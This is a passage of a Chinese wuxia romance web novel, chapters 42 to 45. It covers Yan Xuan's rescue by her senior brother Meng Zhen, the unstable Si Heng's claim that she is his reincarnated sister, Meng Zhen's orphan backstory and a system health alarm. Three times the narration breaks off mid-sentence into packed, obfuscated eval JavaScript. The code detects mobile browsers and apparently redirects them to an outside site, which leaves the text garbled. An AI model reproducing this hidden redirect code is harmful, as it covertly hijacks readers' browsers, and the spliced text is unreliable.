“姓殷的看着好像受伤不轻。”有人道。 “这人都上了几轮了,难不成他真是天下无敌?” “殷数恶贯满盈,我赤水帮岂会坐视不理,今日便要为武林除害。” “我无为门亦是义不容辞,姓殷的,速速放下那位女子!” “雷云帮在此!” “长拳门在此!” “……” 终是有人看出了异常蠢蠢欲动,阳光映照在那些冷兵器上折射出刺目白光,晏璇余光中见好几个人携刀带剑的正在靠近。 “你打不过那么多人的。”晏璇平静道。 殷数掷出一枚毒镖,十一又被逼出几步外,他低头瞥她一眼,那双冷漠到极致的眼睛如同暗夜,黑到看不出一点情绪,反倒犹如初生的婴孩。 晏璇瞥过他那张像是黏在脸上的遮面巾:“你也不可能有用不完的毒和暗器。” 殷数很缓地眨了下眼,回道:“我死,他们死。” 难不成他还想搞同归于尽?晏璇又近距离扫了他两眼,这人真的会说到做到,而且他常年制毒,说不定全身都是毒,只是因为她体质特殊,此刻才显得无事。 “我的百宝袋里有个黄色圆肚药瓶,跟你换一个大家都能活的机会。”晏璇低头看了眼自己腰间。 “姓殷的,还不快快束手就擒!”长剑出鞘,有人在十步开外叫嚣。 “殷数,敢不敢下来再战?” “姓殷的,今日便是你的死期了。” “殷数!你要是敢伤她,我定将你大卸八块。”在一群慷慨激昂的男声中,花奕怒吼了一声。 晏璇被殷数提溜着落在为灯会准备的石柱上,他冷眼扫过众人,视线最后落在晏璇脸上。 “……一言为定。” 话落,捆仙绳倏地缩回殷数袖中,他抓过晏璇双臂,猛得将她往人群一侧丢下。 晏璇未来得及动手,映入眼帘的是湛蓝的天空和耀眼的太阳,她整个人已横飞在半空。 她后知后觉地惊叫了一声。姓殷的,真的不要太过分了! “阿璇!” 耳边似乎响起了很多人的声音,晏璇向后仰去,眼前划过一道白色残影,似蝶翅翩然,似浮云流动,一切变得缓慢而模糊。她感到后背猛得撞上了什么,不疼还有些温热,随即一只有力的手揽过她腰间,晏璇被托举着翻了个身。 她下意识圈住那人的脖颈,那人亦紧紧抱着她脚下连点,最后稳稳落于地上。 晏璇听到他剧烈跳动的心跳声,也闻到了他身上特有的药香味。 “师兄……” 孟珎大口呼吸,埋首于晏璇颈侧惊魂未定,还好,还好赶上了。 可就在下一瞬,他突觉晏璇抓住他衣领的手一紧,听得她一声疾呼。 “师兄小心!” 42. 第 42 章 轩窗半开,孟珎坐在窗下筛药捣药,一旁放置着净手的清水,平静的水面映照出男人沉寂的侧脸。 他的眉骨上方是一道微凸的长疤痕,经年累月,昔日狰狞的颜色淡了,余下愈合的斑驳痕迹。额上还有一道小伤,已经好全,比之眉梢上的不足挂齿。 他的睫毛长而密,此刻微垂着颤了颤,孟珎忽的抬手抚上那处旧伤。这两日晏璇见了他,便会问有没有好好涂药,他心中欢喜亦不想再存别的心思,只是每每被她救回的那个孩子看到盥洗敷药,像是被人窥视到了一种不可说的隐秘,禁不住脸热。 好几次,他也想提起那张告示。花奕告诫他不许惹师妹伤心时,他欣喜得醺然欲醉,一个人只有在意了才会生出其它心绪,晏璇对他是不是也有了些许不同?可一想到她与同珩的谈话,他的解释会不会令她厌烦?一来二去犹豫间,就失了开口的好时机。 孟珎暗叹一声,手上捣药的动作不断,想他着实是个无趣乏味的人,仅会的便是手上这些,若还不能给师妹带去些便利,他在她身边还有何用? 窗外楼下隐约传来男女的吵闹声。 若是平时,孟珎必不会理会,今日不知怎的,他竟侧着耳凝神听别人拌嘴。 “英娘,你慢些走,听我说。”是道低沉的男子声音。 “说什么?你不是惯爱藏着掖着,那便一如既往做你的锯嘴葫芦去!” 药杵“咚”的一下磕到了孟珎的虎口处,他愣了愣,想起花奕时常骂他“闷葫芦”。 女子话中不无嘲讽,似被男子气急了,夹杂了些市井里的骂人话。 “你如此能耐忙你的大事去吧,不必与我对付。日后,一别两宽,各生欢喜!” “莫,莫说气话了,不过是条来路不明的帕子,我连是谁的都不知道,怎会有别的心思?”男子叹道。 “没别的心思你揣在怀里作甚?平日见你多憨厚老实,原是装的一把好手。少说就可少错,不说就可推卸,事后便是你怎么想就怎么圆了,给老娘滚一边去。” “我岂是那样的人!英娘,你想多了,也误会了!” “眼见即为实,你还怪我想多了?” “眼见不一定为真,是我习惯使然,凡事未与你说清,我错了。” “迟了!” 再倾身去听,女子似跑远了,男子追喊着女子的名字而去。 孟珎心不在焉地重复着手上的动作,直到房门被敲响。 “掌柜的,有何事?” 客栈掌柜恭敬地候在门口,浅笑道:“孟先生,我家主人想在味香斋设宴请您与晏姑娘一聚,不知是否方便?” “今日师妹不在,多有不便,还请告知时少庄主不必费心。”说着,孟珎便关上了门。 掌柜僵立着,今儿这事真不好办。自从上次几位带着伤回来,他们还能待在自己的店里,已是给足了面子。不料,还未等他走开,房门再次打开,掌柜惊喜抬头:“孟先生。” 孟珎反手关门,微点了下头:“借过,告辞。” 掌柜:“……” 孟珎步履匆匆,似有十万火急。掌柜愣了一下忙提袍追上,向着暗处递了个眼神。 出了客栈,孟珎便向晏璇他们之前走过的方向疾走。他先是三步并作两步走,可总觉不够,想要快一些再快一些,焦灼和悔意撑得他心头胀痛,于是他小跑起来,长发甩动,发尾时不时抽打到自己的脸侧。 这些微的疼痛正好,让他清醒地知道自己在做些什么蠢事,他是多么的木讷蠢钝。早在晏璇下山归家之时,他迷茫失落犹不自省,只想着待在她身边就好,往后他越发变得贪心想要她的目光停留,他仍是这副寡言无耻的模样。密室之后,阿璇都看透了他,他还在自欺欺人,每次她对着自己笑意盈盈的时候,他在想什么? 他想她没有讨厌他,真好。 他仍是那个站在原处不动的好兄长。 明明他已经不再满足做她的师兄。 虚伪至极。 优柔寡断、闷声不响,他似乎永远拿捏不好事态的缓急。到底是怕阿璇一时的厌烦,还是不敢主动上前,一个普通不过的寻人告示就让他那般为难。阿璇对着他是否也同方才争吵中的女子对着那男子一样无奈?迟来的剖白终是令人失望透顶。 孟珎微喘着气,想到这两日晏璇时不时落在他身上的视线,越发肯定了自己的猜想。 掌中“哗”的似燃起一朵淡色火焰,焰光跳动化作一只振翅的蝴蝶,孟珎盯着掌心,见那只有指甲般大小的银灰小蝶扑棱了一会,随后飞离他的手掌往兴河坊的方向而去。 他转身调换了方向,半盏茶的时间一过,银色小蝶化作一缕白烟消散于空中。街道上人声鼎沸,前方的杨柳岸堤似有打斗的响动。孟珎提气旋身而上,脚踏连环飞身到路旁的一棵榆树上。 只听得花奕的一声怒吼,视野中那抹他再熟悉不过的身影被人钳制悬在半空。 “阿璇!” 孟珎当即催动凌云纵,影随身动,宛如一道幻影急坠。他已使出十二分的气力,未近得黑衣人身侧就见晏璇忽的被人抛掷于外。 孟珎眼中再无其他,他在空中虚踢一脚,身如纸鸢直向着晏璇下坠之势,胸骨都被震得剧痛,在晏璇就快要落地之时,他张开双臂接住了她,也仿佛接住了他那颗直坠深海的心。 还好,还好他赶上了! 晏璇搂着孟珎呼吸急促,姓殷的到底把她当什么了?上次在明月阁轻飘飘把她扔在地上,这次直接从半空中往下扔,她只是个普通人,不是他们那些有着超绝武艺的龙傲天! 她气息未定,诧异孟珎来得及时,一个个的都仿佛在她身上安了追踪器。不过一两个呼吸间,余光中见青灰色身影伸着手掌直逼他们而来。 晏璇未看清来人,疾呼提醒孟珎。孟珎背对站立,也感受到一股突然的强劲杀气。彼时的内伤没有好全,他方才又是全力而为,胸腹中都泛起疼痛,孟珎再次催动凌云纵避开了来人的拳风。 一道黑色身影飞身而上,正是方才慢了孟珎一步的十一,她对上来人,两人双拳相碰格挡数招。 “是你!老男人发什么疯?!”她挺身一脚踢向对面,退开数步后甩了甩手臂,整个手掌都微微颤着。 老男人……同珩?晏璇从孟珎臂弯处昂起头,离他们几步之外,怒目圆睁红着眼的人真是同珩。 可是,刚才他们分开之时还好好的,总不能因为她的一句问话,他就恼羞成怒要赶来杀人吧? 司珩抬起手,伸出一指指着他们,暗哑的声音怒气腾腾:“他是谁?” 晏璇皱了下眉,与孟珎对视一眼,不明所以地盯回司珩:“同叔,你为何要偷袭我们?” “我问你,他是谁!”司珩几乎怒喝着,他面目通红似是全身颤抖,与晏璇往日里见到的人天差地别。 晏璇被他吼得一抖,孟珎托住晏璇上半身的手拍了拍她,垂眸对她摇摇头,示意有他在。 司珩见孟珎那双“不安分”的手,更是恨不得一个箭步上去将他剁了。 孟珎适时抬头,冷眼沉声道:“前辈,有什么想问的便问。师妹与你毫无干系,莫将你无常的脾气发泄到别人身上。” “毫无干系……”司珩咬牙冷笑,“你与披云堂什么关系?凌羽是你什么人?” 司珩是看出了他的武功路数,那般怒气不是冲着他的,而是……孟珎心头一瞬绷紧,面上自是显出两分惊疑。 “好,很好。”再微小的表情变化,司珩此刻全都看在眼里。 他垂着头低笑两声,忽的出其不意,直接一拳袭向孟珎。 “十一!”孟珎一声高喊,改抱为揽将晏璇往她身边一推,另一手直接以掌接拳。 花奕在晏曜的搀扶下赶了过来,见状,直接抬手运力于孟珎背后,共同抵挡司珩的攻势。 “姓同的,你有病!不跟着他们去抓姓殷的,在这与我们发什么疯!”花奕怒道。 晏璇被十一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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腹下一阵抽痛,晏璇猛得抓紧了轮椅扶手。她定着身子不敢动,热潮涌来,似决了堤般在身下倾泻。服了两日药,她以为自己的情况有所好转了,可那钻心般的跳痛又袭来,整个小腹似被冰刀磨过,断腿的痛都比不上这般折磨。 晏璇瞬间煞白了脸,额上冒出冷汗。 十一惊呆了,不思议道:“你,你怎的急成这样?” 晏璇痛得想骂人,管他们几个斗得天昏地暗,统统毁灭吧,赶紧的。 她狠咬了下下唇,蜷缩着歪倒在一旁。 “你没事吧?喂,喂!”十一忽觉不对,握住晏璇的脉想输送内力,却想起她是个普通人承受不了,急得转头喝道,“别打了,小姑娘急火攻心昏死过去了!” 一旁的晏曜竟跟着呜呜出声。 晏璇的眼睫颤了颤,她是痛得难受,离死还远着呢…… 然,她不知自己这副半死不活的样子,还真让他们几个停了手。 司珩仗着自身内力雄厚,分别甩开孟珎和花奕,几个纵身落于晏璇身前。 十一如临大敌,可见他眼中忧色不似作假,梗着脖子道:“姓同的,你要真喜欢小姑娘,气她伤她是大错特错!” 在十一说出更可怕的话前,晏璇抖着手一把拽住了近前司珩的手腕。 司珩瞪着她,却是松了口气:“你没事?” 晏璇嘴唇翕动,银针就藏在她指间,她默声扣住了他的命脉,气息微弱道:“同珩,你要是再动手伤人,我就杀了你。” “你……要杀我?” 司珩牙齿咬得咯咯作响,他的发丝因打斗胡乱地贴在脸颊上,眼睛从方才就是红的,此刻眼尾都泛着红色,他死死盯着她,一滴泪毫无预兆地从眼角滑落打在了她的手背上。 晏璇被烫得心口微震。 不是,她第一次放狠话,就把人整哭了? 43. 第 43 章 司珩的这滴泪把晏璇吓得不轻。 她有一瞬都忘记了身体的不适,双脚搁在轮椅踏板上,如意鞋内的脚趾不耐地动了动。 司珩在她面前展露情绪,总是不经意的、热烈的,大起大伏到令晏璇感到莫名,他们时常处于一种信息不对等的交锋,他独演着他的爱恨情仇,晏璇则在冷眼旁观。 一如此刻,明明是他先挑起了矛盾,却因晏璇再正常不过的反应表现出了莫大的悲伤和委屈。他若是个不经事的少年,晏璇还能理解几分,可他与自己的父亲是平辈,晏璇为他的精神状态堪忧。 “同珩?从前你唤我前辈、同叔,就为了他,”司珩眼尾扫向靠近的孟珎,恨意不浅,“你要这般呼喝我,还说要杀我。” 晏璇:“……” 他讲点道理好不好,晏璇受够了牛头不对马嘴的对峙,腹痛连着头痛,她难受得想吐。 “他是我师兄,而你,同珩,你是我的谁?你清醒些,莫要将我当作他人了。”晏璇咬牙说完,脸色又是白了一分。 孟珎的眼神未曾从晏璇身上挪开,见她情状有异心中焦急。 “阿璇,凝神静气,勿再开口。” 他低声嘱咐,取针欲往晏璇踝尖上三寸施针,司珩伸手横档隔开了孟珎的靠近。 “姓同的,你要害死阿璇啊!”花奕怒极,破妄刀刀尖就悬在司珩后脖颈上。 司珩握住晏璇手背:“你哪里不舒服我替你治,不需要姓孟的来!” 他就像那些顽固的不讲道理的耽误病人治疗的病患家属,守在晏璇身前,任谁来都不行。 晏璇已痛得两耳嗡鸣,她直接一针扎在司珩手背,也不管是哪个穴位,闭着眼道:“你走,我不要看见你……” “为什么?”司珩低叫。 什么为什么?她还想问为什么呢。 司珩吃痛,手背上血珠不断渗出顺着指缝流淌,他仍是紧抓着晏璇不放。 晏璇都感受到了指间的滑腻,身体的疼痛加之心底涌上来的烦躁,她忍不住侧头“哇”的一声吐在轮椅外。早膳本就没吃多少,吐了两口便都是苦水,一地的秽物溅在司珩衣袍上不少。他这才慌乱起来,摸着晏璇的脉探看。 孟珎一把撞开他,俯身去抱晏璇。花奕和十一分隔两边,一个持刀一个手握两指宽匕首,均对着司珩重要经络,若是他敢动,她们即使不能一刀要了他的命,也能让他不得动弹,血流至死。 孟珎三根银针快速落于晏璇身上,此般距离,他真想再一针扎到司珩身上让他永远闭了眼。可……他知道晏璇不愿他那样做,除去她心性纯善,她对司珩有着她自己都未曾察觉的信任,明知他别有用心仍是放任他靠近,仿佛骨子里有着天然的吸引。 晏璇五指深深掐入孟珎的手臂,哼出一声:“疼。” 孟珎摒弃心中怅惘,只余一点钝痛,他紧抱了她往客栈方向走,连声安慰:“一会,一会就好了。” 晏璇埋头用力抵在孟珎胸前,她怕自己一张嘴就咬上去。 【小九,有没有痛觉屏蔽功能,我可以拿任何东西换。】晏璇呼唤着系统。 小九:【宿主,对不起,我不是攻略系列的,没有那种功能。】 他大爷的,晏璇想骂脏话,可素质摆在那就会这一句。凭什么攻略系统可以解锁那么多外挂,她好人系统纯纯摆设!最后又是自我安慰,算了,往后她除了炼药,加紧研究些速效止痛丸出来才行。 她被孟珎带着没走出几步,就听花奕喝道:“姓同的,没听阿璇说不想见到你吗?不许再跟来。” “你不想见我……可以,但是跟姓孟的在一起绝不可行!”司珩追着喊道。 又来了!话她已经说清楚了,他到底在臆想些什么…… 孟珎托着她的双手一紧,没有理会司珩继续前行。 “他与披云堂关系匪浅,是你我昔日的仇人,就算你厌我恨我,我也绝不允许他在你身边。” 昔日仇人,师兄?要不是晏璇此刻无力,她真想仰天长啸。孟珎与她都是孤儿,各自的亲生爹娘早死了多少年,他们两个能结仇晏璇不知司珩在她身上又脑补了什么故事,她越发觉得他可能是一名潜在精神病患者。 可惜了,这个世界还落后着,没法研制出能治疗精神疾病的药物。 晏璇突然就释怀了,他一路追着自己时不时护着自己,全都靠着信仰之力,怪可怜的。 花奕也不说话了,皱眉看他一眼,默默背起破妄往前走。 “你不信是不是?你本就不是晏家的女儿,只是重新拥有了‘晏璇’这个躯壳,没有继承记忆。这世上,你与我才是真正的血脉至亲!”司珩奔走两步,直接拦在他们面前,他神情激荡,面部紧绷像是每条经脉都在发力,忍无可忍般倾诉出了掩藏多时的秘密。 他疯了。晏璇心想。 “你疯了。”花奕道,“你不会以为阿璇是你哪个亲人的投胎转世吧?这种东西也敢想是吃了多少猪油蒙了心,人死了就是死了,烧成灰烂成泥,不会变成别人,别人也不会变成她!” 司珩的脸一阵红一阵白,他死死盯着晏璇,一字一句道:“她是。她们相貌相同,饮食禁忌一样,消失出现的时间一致,世上再无这般巧合。” 人怎么可能长得一样,除非双胞胎,双胞胎还有异卵的呢,饮食禁忌相似的也多了去了,还有出生时间,连她爹娘都不知道确切日子,他就敢得出一致的结论。 太可悲了,他就是凭着这点美化过的念想活在过去吗? 晏璇无声地蹭了蹭孟珎,没什么必要与此人纠缠了,随他去吧。 孟珎心领神会,朝着司珩难得露出些冷漠之外的情绪,他决绝道:“她不是她。” 司珩如遭电击,木然地站在原地,为什么没有人相信? 为什么? 只要一个人,只要有一个人相信他,转世是存在的。 阿姐,她还活着啊。 阿姐…… 一行人开开心心出门,回来俱是一身伤。 晏璇算是发现了,只要碰上姓殷的就是一整个飓风过境,谁都不能幸免。 花奕受了点毒伤,有她和孟珎在没什么大碍,孟珎被司珩伤得不轻,他的内伤反反复复,又得疗养一段时间。至于晏璇自己,她的毛病只能温养,日后调些四物汤喝着看看效果。 孟珎给她施了针,喂了热汤,晏璇仍是难受恹恹地侧躺在床上。 花奕坐在一旁懊恼,她要是不跟着商陆凑热闹,大伙儿早早回了客栈便什么事没有。 “阿璇,怪我。” 此情此景仿佛在雾山,那次对付青蛇,花奕也是愧疚不已。晏璇轻笑:“怪你什么,我本来就想去一趟兴河坊。” 十一的七哥,还会在吗?回头再问问十一,方才回来的路上她就躲没影了。 “奕姐姐。”晏璇摩挲着手里的圆绿珠,“师兄他和披云堂有什么关系,他学的不是师父教的武功吗?” 这会,她的脑袋没有痛迷糊,总算想明白司珩怎么突然把孟珎和一个江湖门派扯上关系。 她不懂武功,他们这些学武的必定清楚各种武学招式。从前孟珎未在司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14032840|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珩面前显露,今日因着救她露了彻底。 “这个……你得问他。”花奕挠了下脑袋,“那门派十多年前就不在了,似乎一夜之间被人灭了门,我也是偶然听江湖上的老前辈提起才知道。孟珎跟谁学的……我也不清楚。” “奕姐姐如何肯定师兄的武功就是披云堂的?” “呃……”花奕眼眸微闪,恍然道,“披云堂的绝技凌云纵,孟珎使的就是这招。”说着,她还在晏璇面前比划了下轻功走势。 “哦。”晏璇一知半解地点点头,明眼人都看出花奕有什么瞒着她未说。 一个消失了的门派,师兄去哪学的功夫,这些年他不都在自己眼前吗? 过了一会,孟珎捧着新煎好的药进屋,花奕忙起身道:“来了,有什么你问你师兄便是。” 孟珎疑惑望她一眼,花奕露齿一笑,说着要去准备膳食,拉着晏曜便跑出了房间。 “阿璇,你有什么要问我?”孟珎扶起她,倒是主动开了口。 晏璇接过药碗,正待一口喝下,侧过脸端详起孟珎。晏璇每眨下眼,孟珎的心便跟着一跳。 他抿了抿嘴角,轻声道:“有何不妥?” 晏璇看着孟珎耳尖泛起薄红,微扬了扬眉,浅笑着摇了摇头。 师兄什么时候开始喊她“阿璇”的…… 她喝完药,接过孟珎递来的帕子擦嘴。一转头,瞥见孟珎从袖口取出一卷黄纸。 “此前你还在雾山时,我去云州品贤阁路遇一位姑娘旧疾发作,我见他们所乘马车有雷霆山庄的徽记。雷霆山庄庄主于少时的我有恩,我便施以了援手,彼时我并不知晓她是庄主亲眷,诊治过后就离开了,不曾想会有此告示于世。阿璇,我并非有意隐瞒,实是我也忘了此事。”孟珎捧着卷纸,细致和缓地说道。 晏璇一愣,问道:“若那名姑娘不是雷霆山庄的,师兄便不救了吗?” 孟珎郑重地摇摇头。 晏璇靠向床头,手撑着脸笑道:“你既未犯错,我缘何怪你?同珩说的那些骗人话,我才不信。而且……” “而且什么?”孟珎追问道。 “而且我说过,那些是师兄的经历,无论你做了什么原与旁人无关。”晏璇顿了顿,瞧着他有些黯淡下去的眸子,继续道,“惟有你心有牵绊,旁的人也就不是旁人了。” 晏璇掐了下指尖,心头清明,目光有些灼灼:“此事已过许久,你还要来向我解释是因为你……很在意我的在意?” 良久,孟珎深吸一口气,他的眸光清亮坦然迎向她。整个人如沐浴了阳光的雨后青叶,一扫邑邑忧色,他认真地点着头道:“嗯,我很在意。我不想我们之间再有任何误会。” 仿佛从高空翩然坠落,晏璇听到了心脏强烈的鼓动,这还是那个木讷迟钝,遇事闷不吭声的孟珎? 不妙……她好像不能再说他是个闷葫芦了。 “阿璇,方才师姐说你有什么要问我的。” 晏璇的目光一直追随着他的身影,就见他走向小药炉旁,伸手要将卷纸投入火中。 “哎,等等。”晏璇忙喊道。 孟珎困惑转头:“嗯?” “……告示留下。”晏璇轻咳了一声,“我要留着换钱。” 孟珎:“……” “这算不得什么,拿消息换钱又不是换人,到时候我们跑得远远的就是。”晏璇一本正经道。 孟珎又将卷纸放回了袖中,低声笑道:“好,听你的。” 晏璇挠着被面,微眯着眼偷瞧他。 师兄,好似被夺舍了。 44. 第 44 章 晏璇几乎未听过孟珎说起小时候的事,之前也仅从花奕口中了解了少许。今日,倒因为那张寻人告示知道了他和武林盟主还有些渊源。 “师兄见过陈庄主?听人说他好善乐施、义薄云天,长得是伟岸英挺潇洒模样,在江湖上很有威望。”武林盟主总归是有能镇住整个江湖的气概。 孟珎坐在床前,手上继续捣弄着药材,闻言一顿,他笑了笑道:“或是如此,等我见了再告诉你。” “嗯?”晏璇有些迷糊,陈晟不是他的恩人吗? 孟珎见她眼中不解,微垂了眸子,长睫覆下像一把小扇子在扇动。 晏璇惊叹,好生令人羡慕的睫毛,从前怎的未曾注意孟珎其实也长了副秀气乖巧的模样。只是他总冷着脸,巴不得对方第一眼就看到他额上那道伤,脑门上就差写着:我很凶,生人勿近。 “阿璇。”他一下下捣着药块,再次抬头看她,眸中思绪万千,脸上却释然般笑着,“一些无趣的小故事,想不想听?” 晏璇稍稍往床头挪了挪,正了正上半身。师兄这么多年初次吐露心声,往事断不是他说的这般轻巧,晏璇心有所感也只做好奇样,欣然道:“好啊。” “少时前往雾山前,师父曾带我去药王谷,那里风景秀丽宛若世外桃源。” “比雾山还美吗?奕姐姐总说那儿比雾山好上数倍。” 孟珎“唔”了声:“两地地貌不一,景趣不同各有千秋。赏景的人不同,心中的感受自然不同。” 晏璇点点头,人总是对自己归属的地方有特别的感情。 “那时一日中的大部分时间我都待在屋里,师姐来找我玩,偏我那会野性难驯不想与人往来。她见我不理人就较上了劲,带着谷里其他的小弟子围着我不停说笑,只等我开口应她。” 晏璇想象着花奕抱着刀不服气的样子,嘴角微翘,她那时年纪也不大,性子直只想要个结果,不曾想到孟珎也是个倔的。 “奕姐姐把这事记心上了,她来雾山时我还奇怪,师兄与她好似一对仇家。”晏璇笑道。 孟珎瞥她一眼,苦笑着:“若我不理她便罢了,那日师叔为我扎针敷了眼药,起初还好,渐渐眼周发热,我只觉气血上涌,外界的细微声响都像是钻进人的脑袋。师姐的大嗓门……在谷中找不到第二人,我一时控制不住躁症发作,把她的手咬伤了。” “咬成猪蹄子了。”晏璇轻笑。 当初她与花奕说是因为他家逢巨变才性情不定,看来不只有这些。晏璇心下猜测道:“师兄当时可是不记得发生了什么?” 有一些药若用得狠了,就会使人精神恍惚。 可是花谷主不该不清楚,难道她是故意的? 孟珎点点头:“醒来时确实迷糊了,每每看师姐用异样的目光瞪我还觉得有些莫名。后来,等我想起已跟着师父回了雾山,歉意的话未及时说出口,经年之后更觉困难。” 他大抵也觉得自己行事不妥,微微抿了嘴,耳根又熟悉地红了起来。 “师兄。”晏璇向他招了招手。 “嗯?”孟珎不明,身子却是向她倾了过去。 晏璇一脸无害,勾了勾手指:“再近些。” 孟珎起身半蹲到她身前,仰头看她。 “啪”的一声轻响,晏璇的双手拍在孟珎脸上,孟珎一瞬睁大了眼睛。晏璇捧着他的脸固住,自己向他靠拢了些:“师兄,我要你答应我一件事,好不好?” 孟珎的睫毛不断颤着,红色开始漫上他的脸庞,他在晏璇的掌中轻轻点了下头。 晏璇满意地舒展眉头,郑重道:“往后,无论是什么事,开心的也好,难过的也好,能解决的也好,难化解的也好,都不要只闷在心里。你说过的,不要误会那就要把事摊开了讲。从前,你若是怕或者不好意思,往后可以说给我听,我这人没什么本事,安静地听人说话还是能做到的,有时说不定还能给师兄出出主意,你说好不好?” 闷热的午后,窗外吹来一阵清风,床前的轻纱晃动,阴影后的孟珎一瞬不瞬盯着晏璇,眼底开始涌上一股热意。在雾山初见的那日,他为什么会觉得她有些恼人,她分明一直都是个心宽的小傻子。 师父叫他立誓,他以为这同他要教他医术无甚区别,他不过是不想老人家失望而顺势而为。孟珎在心里无数遍后悔,也在后悔过后无数遍地重新郑重起誓,希望上天能相信他的真心。 “师兄?好不好啊?”晏璇轻扣了下孟珎脸上的软肉,他从方才就愣住了,也不知把她的话听进去没有。 “好。”孟珎哑声应了。 要让一个习惯沉默的人改变行为方式,确实有些难为人。不过,对付孟珎这样的,晏璇只能主动逼着他。 “师兄那时是因为眼睛受伤才去的药王谷吗?” “嗯。” 晏璇犹豫着要不要问他受伤的原因,便听到孟珎继续低声道来。 “二十年前,丰州境外一带山匪猖獗,其中有一伙来自鹰山岭的匪贼最为凶残,所过之处烧杀抢掠,无所不作。那时,我与阿爹阿娘住在河山镇下的村子里。一日傍晚,正是各家各户忙完农活准备歇息的时候,村子一角火光冲天,有人骑马挥着火鞭而来,那些简陋的茅草屋,堆放的秸秆俱都被肆意点燃,有人哭喊着盗匪闯村了……” 孟珎顿了下,晏璇见他双手握紧,手背上的青筋都鼓了起来。 她心头一个激灵,忙伸手盖住他微微颤抖的手背,叹息道:“师兄,我知道了,不必再说。” 孟珎摇摇头:“阿娘将我藏到了地窖里,最后对我说的一句话是‘孩子,千万不要出来’,我听见火苗窜起的声音,刀剑砍伐的声音,房屋坍塌的声音,更多的撕心裂肺的求救声……可我,我什么都做不了,只是眼睁睁地看着他们在我面前死去……” 他的声音颤巍得不成样,眼泪无意识扑簌簌地往下掉。孟珎昂起头偏过一边,咬牙拼命忍住出声的哭腔。 他那时多大?不过四岁稚儿,能做些什么呢……因为此遭,他还患上了幽闭恐惧症,晏璇忆起在酒窖时他痉挛的模样,十几年过去他仍未放过自己。 “师兄,那些都不怪你,罪有应得的另有他人。”晏璇倾身过去,伸手替他抹去脸上的热泪,“若是你阿爹阿娘泉下有知,他们只会希望你活得好好的。” “阿璇,对不起。”孟珎捧着她的手腕,埋首于她的掌中,一声声呜咽喊着“对不起”。 涩意涌上鼻间,晏璇轻声应道:“没关系啊,都过去了。” 迟来的这场宣泄,孟珎在心里压抑得太久,因为晏璇他不敢提起,又因为晏璇他不再害怕提起,第一次在她面前如此肆意地释放着情绪。 半晌,他冷静下来,眼睛是红的,耳朵是红的,脸也是红的。孟珎拿了帕子默默地替晏璇擦干净被他眼泪沾湿的双手。 晏璇由衷感叹:“师兄,谢谢你告诉我那些过往。” “因为我答应了你。” “嗯。” 孟珎替她收拾完,拘谨地坐回了原处。 “后来,师父途径河山镇救下了我。再后来,陈晟以雷霆山庄的名义带领一帮江湖人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小晏璇用力点点头:“嗯嗯,我家除了我爹娘还有林叔,以后都是你的亲人,好不好啊?” 男孩止了泪,脸上终于露出点笑容,他正要开口说话,就听天空一声怒吼乍响。 “我不许!他不是你的亲人,我才是,我才是那个与你血脉至亲的人!” 那声音不断回响流连,刺耳地令人脑袋发疼。小晏璇吓了一跳,尖叫着与男孩抱作一团,就见从天而降一个怒目金刚般的男人。 他脚下生风几步上前,蒲扇一样的大手握住了她的双肩,他边摇晃着小晏璇,边流泪道:“是我啊,我才是你亲人!” “你是谁啊?!” 好可怕的男人!小晏璇快被吓哭了。 “我是你一母同胞的兄弟!” “你骗人!我娘都没你大!” “那是因为你娘不是你亲娘!” 小晏璇一听有人说她娘不是她娘,“哇”的一声哭出来。 男孩捂住她的耳朵反过来安慰她,那可怕的男人停止了在她耳边嚎叫,开始去扒小男孩的手,誓要把他们两个拉扯开。 男孩的手原本就有许多细小的伤口,在男人的蛮横下,伤口被不断撕裂,红色血液渗出,把小晏璇的衣襟都染红了。 “救命啊!” 晏璇大喊一声,汗水湿透后背,惊恐着从梦中醒来。 同珩…… 45. 第 45 章 晏璇醒来,一身汗津津的,她盯着床柱发着呆,眼前似乎还晃过同珩有些狰狞的虚影。 血脉至亲……听着那般嘶吼,晏璇心悸似的感到恍惚,她抓过床头的帕子擦了擦额上细汗,慢慢撑坐而起。 脑海里小九的声音响了一会,滴滴滴哒哒哒,她没注意提示内容只觉吵闹,大概品贤阁又卖出去不少伤药。 晏璇瞥一眼视野右上的倒计时,发现数字跳动得厉害,上上下下反复不定。 小九:【宿主,紧急情况!】 刺耳的机械长音在晏璇脑中拉响,激得人头皮发麻,浑身汗毛倒竖。 她痛得哼了声,近来这身体犹如风中残烛摇摇欲坠,物理攻击连着精神攻击快把自己折腾回小脆皮了。 晏璇:【做什么,淡定些。】 小九还是滋啊哇啦的:【淡定不了,生命值出现不明原因波动,宿主危!宿主危!】 晏璇:“?!” 方才还是绿色高亮的数字,在一阵激烈的抖动下出现了横纹,随即数值如滚轮般快速滑动由三位数降到两位数,颜色转而变成了警戒的黄色,再一眨眼,数字下降到了红色范围内开始缓慢跳动。 上回偶发休眠期发作时的不适正在晏璇身上重现。 人的性命为什么会被某些不明生物掌控呢?曾经纠结过的问题再次闪回。 晏璇闭了眼,再慌乱也无用:【你们系统中毒了?】 小九:【没有发现攻击来源,监测中心还在排查中。】 晏璇:【先停止警报吧,否则我的脑袋要先裂了。波动是什么时候出现的情况?】 小九:【在宿主沉睡的时候。】 